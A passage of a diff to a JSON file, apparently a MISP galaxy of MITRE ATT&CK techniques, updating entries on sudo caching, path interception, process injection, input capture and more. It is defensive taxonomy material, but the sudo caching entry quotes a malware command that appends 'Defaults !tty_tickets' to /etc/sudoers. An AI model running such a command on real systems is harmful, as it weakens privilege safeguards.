] + }, + "uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "value": "Port Knocking - T1205" + }, + { + "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.", + "meta": { + "external_id": "T1026", + "kill_chain": [ + "mitre-attack:command-and-control" + ], "mitre_data_sources": [ "Packet capture", "Netflow/Enclave netflow", + "Process use of network", "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1026", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091", + "value": "Multiband Communication - T1026" + }, + { + "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "meta": { + "external_id": "T1206", + "kill_chain": [ + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1206", + "https://www.sudo.ws/", + "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + ] + }, + "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", + "value": "Sudo Caching - T1206" + }, + { + "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", + "meta": { + "external_id": "T1209", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "File monitoring", + "Loaded DLLs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1209", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top", + "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", + "https://github.com/scottlundgren/w32time", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings" + ] + }, + "uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", + "value": "Time Providers - T1209" + }, + { + "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.", + "meta": { + "external_id": "T1029", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", "Process use of network", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1008", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433" + "https://attack.mitre.org/techniques/T1029" + ] }, - "value": "Fallback Channels" + "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "value": "Scheduled Transfer - T1029" }, { - "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10", + "description": "The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)", "meta": { + "external_id": "T1340", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1340" + ] + }, + "uuid": "3f157dee-74f0-41fc-801e-f837b8985b0a", + "value": "Shadow DNS - T1340" + }, + { + "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)\n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)\n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).", + "meta": { + "external_id": "CAPEC-159", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1109" - ], - "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44" + "https://attack.mitre.org/techniques/T1034", + "https://capec.mitre.org/data/definitions/159.html", + "http://support.microsoft.com/KB/103000", + "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "http://msdn.microsoft.com/en-us/library/ms682425", + "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", + "http://msdn.microsoft.com/en-us/library/ms687393", + "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", + "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", + "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/", + "https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/" + ] }, - "value": "Component Firmware" + "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", + "value": "Path Interception - T1034" }, { - "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.", "meta": { + "external_id": "APP-24", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1430", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" + ] + }, + "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "value": "Location Tracking - T1430" + }, + { + "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.", + "meta": { + "external_id": "T1035", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1035" + ] + }, + "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "value": "Service Execution - T1035" + }, + { + "description": "Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.", + "meta": { + "external_id": "CAPEC-557", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053", + "https://capec.mitre.org/data/definitions/557.html", + "https://technet.microsoft.com/en-us/library/cc785125.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://twitter.com/leoloobeek/status/939248813465853953", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/library/dd315590.aspx" + ] + }, + "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "value": "Scheduled Task - T1053" + }, + { + "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)", + "meta": { + "external_id": "T1306", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1306" + ] + }, + "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69", + "value": "Anonymity services - T1306" + }, + { + "description": "### Windows\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n### Mac\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.", + "meta": { + "external_id": "CAPEC-564", + "kill_chain": [ + "mitre-attack:lateral-movement", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037", + "https://capec.mitre.org/data/definitions/564.html", + "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", + "https://support.apple.com/de-at/HT2420" + ] + }, + "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "value": "Logon Scripts - T1037" + }, + { + "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)", + "meta": { + "external_id": "T1093", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1093", + "http://www.autosectools.com/process-hollowing.pdf", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "value": "Process Hollowing - T1093" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)", + "meta": { + "external_id": "T1309", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1309" + ] + }, + "related": [ + { + "dest-uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "value": "Obfuscate infrastructure - T1309" + }, + { + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include modifying sensor settings stored in configuration files and/or Registry keys to disable or maliciously redirect event telemetry. (Citation: Microsoft Lamin Sept 2017)\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.", + "meta": { + "external_id": "CAPEC-571", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Sensor health and status", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1054", + "https://capec.mitre.org/data/definitions/571.html", + "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" + ] + }, + "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "value": "Indicator Blocking - T1054" + }, + { + "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.", + "meta": { + "external_id": "CAPEC-570", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1045", + "https://capec.mitre.org/data/definitions/570.html", + "http://en.wikipedia.org/wiki/Executable_compression" + ] + }, + "uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "value": "Software Packing - T1045" + }, + { + "description": "An adversary could attempt to spoof a mobile device's biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1460", + "refs": [ + "https://attack.mitre.org/techniques/T1460" + ] + }, + "related": [ + { + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "45dcbc83-4abc-4de1-b643-e528d1e9df09", + "value": "Biometric Spoofing - T1460" + }, + { + "description": "Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).\n\nInteractive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.", + "meta": { + "external_id": "T1074", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1074" + ] + }, + "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "value": "Data Staged - T1074" + }, + { + "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", + "meta": { + "external_id": "CAPEC-242", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "API monitoring", + "Windows Registry", + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Named Pipes" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1055", + "https://capec.mitre.org/data/definitions/242.html", + "https://github.com/mattifestation/PowerSploit", + "https://www.endgame.com/blog/technical-blog/hunting-memory", + "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", + "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", + "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", + "https://docs.microsoft.com/sysinternals/downloads/sysmon", + "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "https://www.datawire.io/code-injection-on-linux-and-macos/", + "http://hick.org/code/skape/papers/needle.txt", + "http://phrack.org/issues/51/8.html", + "http://vxer.org/lib/vrn00.html", + "https://www.gnu.org/software/acct/", + "https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", + "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", + "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "value": "Process Injection - T1055" + }, + { + "description": "Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)", + "meta": { + "external_id": "CAPEC-569", + "kill_chain": [ + "mitre-attack:collection", + "mitre-attack:credential-access" + ], "mitre_data_sources": [ "Windows Registry", "Kernel drivers", @@ -3344,399 +8388,463 @@ "API monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1056", - "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", - "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" - ], - "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2" + "https://attack.mitre.org/techniques/T1056", + "https://capec.mitre.org/data/definitions/569.html", + "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/", + "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/" + ] }, - "value": "Input Capture" + "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "value": "Input Capture - T1056" }, { - "description": "Per Apple’s developer documentation, there are two supported methods for creating periodic background jobs: launchd and cron[[Citation: AppleDocs Scheduling Timed Jobs]].\n\n===Launchd===\n\nEach Launchd job is described by a different configuration property list (plist) file similar to Launch Daemons or Launch Agents, except there is an additional key called StartCalendarInterval with a dictionary of time values [[Citation: AppleDocs Scheduling Timed Jobs]]. This only works on macOS and OS X.\n\n===cron===\n\nSystem-wide cron jobs are installed by modifying /etc/crontab while per-user cron jobs are installed using crontab with specifically formatted crontab files [[Citation: AppleDocs Scheduling Timed Jobs]]. This works on Mac and Linux systems.\n\nBoth methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence[[Citation: Janicab]][[Citation: Methods of Mac Malware Persistence]][[Citation: Malware Persistence on OS X]], to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\nDetection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Tasks scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.\n\nPlatforms: Linux, MacOS\n\nData Sources: File monitoring, Process Monitoring", + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n### Windows\n\nAn example command that would obtain details on processes is \"tasklist\" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.\n\n### Mac and Linux\n\nIn Mac and Linux, this is accomplished with the ps command.", "meta": { + "external_id": "CAPEC-573", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" + "Process monitoring", + "Process command-line parameters" ], "mitre_platforms": [ "Linux", - "MacOS" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1168", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", - "http://www.thesafemac.com/new-signed-malware-called-janicab/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html" - ], - "uuid": "03405462-89b4-4b9a-bf60-76fbd75b82a4" + "https://attack.mitre.org/techniques/T1057", + "https://capec.mitre.org/data/definitions/573.html" + ] }, - "value": "Cron Job" + "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "value": "Process Discovery - T1057" }, { - "description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 